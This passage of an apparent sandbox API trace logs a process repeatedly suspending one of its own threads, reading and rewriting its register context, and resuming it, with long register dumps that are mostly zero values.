[107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0106.339] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001478f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0106.418] ResumeThread (hThread=0x130) returned 0x1
[0106.418] CloseHandle (hObject=0x130) returned 1
[0106.418] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.454] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.489] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.564] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.638] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0106.638] SuspendThread (hThread=0x130) returned 0x0
[0106.638] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x150d160, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0106.739] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147850, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0106.888] ResumeThread (hThread=0x130) returned 0x1
[0106.888] CloseHandle (hObject=0x130) returned 1
[0106.888] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.924] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.958] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.033] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.109] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0107.109] SuspendThread (hThread=0x130) returned 0x0
[0107.110] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1525960, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0107.177] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, 